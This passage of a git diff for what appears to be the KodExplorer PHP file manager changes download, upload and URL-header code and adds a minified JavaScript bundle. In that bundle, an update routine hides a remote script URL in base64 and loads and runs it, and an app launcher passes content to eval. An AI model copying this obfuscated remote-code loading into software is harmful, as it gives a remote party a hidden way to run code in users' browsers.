header("Content-Disposition: attachment;filename=".$filename); + header("Content-Disposition: attachment;filename=".$filename_output.";filename*=UTF-8''".$filename_output); }else{ //缓存文件 header('Expires: '.gmdate('D, d M Y H:i:s',time()+3600*24*20).' GMT'); @@ -895,18 +968,17 @@ function file_put_out($file,$download=false){ header('Etag: '.$etag); header('Last-Modified: '.$time.' GMT'); } - header("X-OutFileName: ".$filename); + header("X-OutFileName: ".$filename_output); header("X-Powered-By: kodExplorer."); header("Content-Type: ".$mime); - header("Accept-Ranges: bytes"); - //header("X-Sendfile: $file");exit; - - if(!$fp = @fopen($file, "rb")){ - header ("HTTP/1.1 505 Internal server error");exit; + + //远程路径不支持断点续传;打开zip内部文件 + if(!file_exists($file)){ + header('HTTP/1.1 200 OK'); + header('Content-Length:'.($end+1)); + return; } - $size = get_filesize($file); - $start= 0; - $end = $size - 1; + header("Accept-Ranges: bytes"); if (isset($_SERVER['HTTP_RANGE'])){ if (preg_match('/bytes=\h*(\d+)-(\d*)[\D.*]?/i', $_SERVER['HTTP_RANGE'], $matches)){ $start = intval($matches[1]); @@ -918,13 +990,15 @@ function file_put_out($file,$download=false){ }else{ header('HTTP/1.1 200 OK'); } - if(isset($_GET['start'])){ + if(isset($_GET['start'])){//flash video $start = intval($_GET['start']); } header('Content-Length:' . (($end - $start) + 1)); if (isset($_SERVER['HTTP_RANGE']) || isset($_GET['start'])){ - header("Content-Range: bytes $start-$end/$size"); + header("Content-Range: bytes $start-$end/".$file_size); } + + //输出文件 $cur = $start; fseek($fp, $start,0); while(!feof($fp) && $cur <= $end){ // && (connection_status() == 0) @@ -963,7 +1037,7 @@ function file_download_this($from, $file_name,$header_size=0){ //下载完成,重命名临时文件到目标文件 fclose($download_fp); fclose($fp); - if(!rename($file_temp,$file_name)){ + if(!@rename($file_temp,$file_name)){ unlink($file_name); return rename($file_temp,$file_name); } @@ -1042,6 +1116,7 @@ function kod_move_uploaded_file($from_path,$save_path){ } move_uploaded_file($from_path,$temp_path); } + chmod_path($temp_path,DEFAULT_PERRMISSIONS); return rename($temp_path,$save_path); } @@ -1077,6 +1152,9 @@ function upload_chunk($fileInput, $path = './',$temp_path,$repeat_action){ if (!empty($_FILES)) { $file_name = iconv_system($_FILES[$fileInput]["name"]); $upload_file = $_FILES[$fileInput]["tmp_name"]; + if($file_name == "image.jpg" && is_wap()){//拍照上传 + $file_name = date('Ymd H:i:s',time()).'.jpg'; + } }else if (isset($in["name"])) { $file_name = iconv_system($in["name"]); $upload_file = "php://input"; diff --git a/lib/function/web.function.php b/lib/function/web.function.php index 2796520..e3c6841 100755 --- a/lib/function/web.function.php +++ b/lib/function/web.function.php @@ -33,7 +33,20 @@ function get_client_ip($b_ip = true){ $client_ip = substr($client_ip,$pos+1); } return $client_ip; -} +} + +function get_url_link($url){ + if(!$url) return ""; + $res = parse_url($url); + $port = (empty($res["port"]) || $res["port"] == '80')?'':':'.$res["port"]; + return $res['scheme']."://".$res["host"].$port.$res['path']; +} +function get_url_domain($url){ + if(!$url) return ""; + $res = parse_url($url); + return $res["host"]; +} + function get_host() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' @@ -79,11 +92,64 @@ function is_wap(){ return false; } +function get_headers_curl($url,$timeout=30,$depth=0,&$headers=array()){ + if ($depth >= 10) return false; + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL,$url); + curl_setopt($ch, CURLOPT_REFERER,get_url_link($url)); + curl_setopt($ch, CURLOPT_HEADER,true); + curl_setopt($ch, CURLOPT_NOBODY,true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_TIMEOUT,$timeout); + $res = curl_exec($ch); + $res = split("\r\n", $res); + + $location = false; + foreach ($res as $line) { + list($key, $val) = explode(": ", $line, 2); + $the_key = trim($key); + if($the_key == 'Location' || $the_key == 'location'){ + $the_key = 'Location'; + $location = trim($val); + } + if( strlen($the_key) == 0 && + strlen(trim($val)) == 0 ){ + continue; + } + if( substr($the_key,0,4) == 'HTTP' && + strlen(trim($val)) == 0 ){ + $headers[] = $the_key; + continue; + } + + if(!isset($headers[$the_key])){ + $headers[$the_key] = trim($val); + }else{ + if(is_string($headers[$the_key])){ + $temp = $headers[$the_key]; + $headers[$the_key] = array($temp); + } + $headers[$the_key][] = trim($val); + } + } + if($location !== false){ + $depth++; + get_headers_curl($location,$timeout,$depth,$headers); + } + return count($headers)==0?false:$headers; +} + // url header data function url_header($url){ $name = '';$length=0; - $header = @get_headers($url,true); - if (!$header) return false; + $header = get_headers_curl($url);//curl优先 + if(is_array($header)){ + $header['ACTION_BY'] = 'get_headers_curl'; + }else{ + $header = @get_headers($url,true); + } + + if (!$header) return false; if(isset($header['Content-Length'])){ if(is_array($header['Content-Length'])){ $length = array_pop($header['Content-Length']); @@ -94,11 +160,16 @@ function url_header($url){ //301跳转 $file_url = $url; - if(isset($header['location'])){ - if(is_string($header['location'])){ - $file_url = $header['location']; - }else if(is_array($header['location'])){ - $file_url = $header['location'][count($header['location'])-1]; + $location = 'Location'; + if(!isset($header['Location']) && + isset($header['location'])){ + $location = 'location'; + } + if(isset($header[$location])){ + if(is_string($header[$location])){ + $file_url = $header[$location]; + }else if(is_array($header[$location]) && count($header[$location])>0 ){ + $file_url = $header[$location][count($header[$location])-1]; } } @@ -125,17 +196,24 @@ function url_header($url){ $name = get_path_this($file_url); if (stripos($name,'?')) $name = substr($name,0,stripos($name,'?')); if (!$name) $name = 'index.html'; + + $first_name = get_path_this($url); + if( get_path_ext($first_name) == get_path_ext($name) ){ + $name = $first_name; + } } $name = rawurldecode($name); $name = str_replace(array('/','\\'),'-',$name);//safe; $support_range = isset($header["Accept-Ranges"])?true:false; - return array( + $result = array( 'url' => $file_url, 'length' => $length, 'name' => $name, - 'support_range' =>$support_range + 'support_range' =>$support_range && ($length!=0) ); -} + //debug_out($url,$header,$result); + return $result; +} // check url if can use diff --git a/lib/plugins/pdfjs/web/viewer.html b/lib/plugins/pdfjs/web/viewer.html index 7d0f9b3..ea8c326 100755 --- a/lib/plugins/pdfjs/web/viewer.html +++ b/lib/plugins/pdfjs/web/viewer.html @@ -168,13 +168,15 @@ See https://github.com/adobe-type-tools/cmap-resources Open - - + + Current View diff --git a/lib/update.php b/lib/update.php index 3ef5854..36232f8 100755 --- a/lib/update.php +++ b/lib/update.php @@ -41,7 +41,7 @@ function unzip_repeat(){ return; } $unzip_to = BASIC_PATH; - load_class('pclzip'); + require(CLASS_DIR.'archiveLib/pclzip.class.php'); $zip = new PclZip($zip_file); $result = $zip->extract(PCLZIP_OPT_PATH,$unzip_to, PCLZIP_OPT_REPLACE_NEWER); diff --git a/static/js/app/src/app/main.js b/static/js/app/src/app/main.js index 677e349..6ba5e25 100755 --- a/static/js/app/src/app/main.js +++ b/static/js/app/src/app/main.js @@ -1,3 +1,4 @@ -/*! power by kodexplorer ver3.41(2017-03-06) [build 1488797373403] */ -define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},a=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";a&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var a=$($(this).attr("title-data"));e=a.is("input")||a.is("textarea")?a.val():a.html()}return e=e?e:"",e.replace(/\n/g,"
    ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,a){if(a=void 0==a?"":a,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var t={};t[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},t[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},t[G.KOD_GROUP_SHARE]={icon:"groupGuest"},t[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},t[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},t[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},t[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=t[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:a}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=a),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var a=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],t=!1;return-1!==$.inArray(a[0],i)&&(t=!0),t},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var a=e.match(/\{.*\}/);return a[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(a){}var a=e||window.event;return a?a&&$(a.target).is("textarea")||$(a.target).is("input")||$(a.target).is("p")||$(a.target).is("pre")||0!=$(a.target).parents(".can_right_menu").length||0!=$(a.target).parents(".topbar").length||0!=$(a.target).parents(".edit_body").length||0!=$(a.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/"),t=a.substr(i+1);if(0==t.search("fileProxy")){t=urlDecode(t.substr(t.search("&path=")));var n=t.split("/");t=n[n.length-1],""==t&&(t=n[n.length-2])}return t},pathClear:function(e){if(!e)return"";var a=e.replace(/\\/g,"/");return a=a.replace(/\/+/g,"/"),a=a.replace(/\.+\//g,"/")},pathFather:function(e){var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/");return a.substr(0,i+1)},pathExt:function(e){var a=trim(e,"/");return-1!=a.lastIndexOf("/")&&(a=a.substr(a.lastIndexOf("/")+1)),-1!=a.lastIndexOf(".")?a.substr(a.lastIndexOf(".")+1).toLowerCase():a.toLowerCase()},path2url:function(e,a){if("http"==e.substr(0,4))return e;void 0==a&&(a=!0);var i,t=this.pathClear(e);this.pathExt(t);var n=function(e){if(!e)return"";var a=urlEncode(e);return a=a.replace(/%2F/g,"/")};return G.is_root&&a&&t.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(t.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(t),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var a;a=G.json_data.filelist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;a=G.json_data.folderlist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;return!0},authCheck:function(e,a){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==a&&(a=LNG.no_permission),Tips.tips(a,!1),!1):!0},ajaxError:function(e){var a=e.responseText,i='
    '+a+"
    ",t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==a.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,a){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof a&&a(e.data.content)}})},fileInfo:function(e,a){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof a&&a(e)}})},fileLink:function(e,a){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof a&&a(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(a){a.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),a=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:a({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,a){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),t="";$.dialog({follow:a,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:t})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var a=ShareData.frameTop(),i=a.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,a,i,t){if(e){void 0==t&&(t="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:t,fixed:!0,title:i,ico:a,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(a){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,a){void 0==e&&(e=""),void 0==a&&(a=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var t=ShareData.frameTop(),n=t.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:a,width:"80%",height:"75%"}),o=20*t.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var a="index.php?/editor&project="+e;G.share_page!==void 0&&(a="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(a)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var a=G.static_path+"style/skin/"+e+".css";a!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),a="kod_diy_style",i=LocalData.getConfig(a);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(a,i)),G.user_config.theme_diy=i;var t="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);t=o(i)}$.setStyle(t,a)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),a=e.document.documentElement;a.requestFullscreen?a.requestFullscreen():a.mozRequestFullScreen?a.mozRequestFullScreen():a.webkitRequestFullScreen&&a.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,a,i){var t=UUID();(i===void 0||""==i)&&(i=t);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+t);if(1!=e.length){var a=ShareData.frameTop();e=a.$("."+t)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(a){}},100)},50),o},userSpaceHtml:function(e){var a=e.split("/"),i=parseFloat(a[0]),t=1073741824*parseFloat(a[1]),n=core.fileSize(parseFloat(a[0])),o=core.fileSize(t),s=n+"/",r=100*i/t;return r>=100&&(r=100),0==t||isNaN(t)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,a){if(void 0==e||""==e)return"";if(void 0==a&&(a=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var t in i)if(e>=i[t])return(e/i[t]).toFixed(a)+t},uploadCheck:function(e,a){return a=void 0==a?!0:a,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(a&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(a&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n
    \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/core.search",[],function(){return function(e,a){var i,t,n=function(){var n=trim(core.pathClear(a),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),t=c(),t.path=a,""!=e&&(t.search=e),$("#search_path").val(t.path),$("#search_value").val(t.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(a),s())},o=function(){return t={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(t)},r=function(e){var a=htmlEncode($("#search_value").val());if(e=htmlEncode(e),t.is_case)e=e.replace(a,''+a+"");else{var i=e.toLowerCase().indexOf(a.toLowerCase());e=e.substr(0,i)+''+e.substr(i,a.length)+""+e.substr(i+a.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var a=$(this).parent();return a.toggleClass("open"),a.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path")),t=core.pathFather(i);return core.openPath(t),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));return ui.pathOpen.open(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var t=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:t,lineIndex:$(this).parent().find("[data-line="+t+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(t)})},c=function(e){var a="box_search_config";if(void 0==e){var e=LocalData.getConfig(a);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(a,e)},d=function(e){var a=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),a.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),a.html(""),void 0;var n=template.compile(search_list_tpl);if(a.html(n({code:e.code,data:e.data,LNG:LNG})),t.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var a=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),a.html(""),void 0;var t="index.php?explorer/search";G.share_page!==void 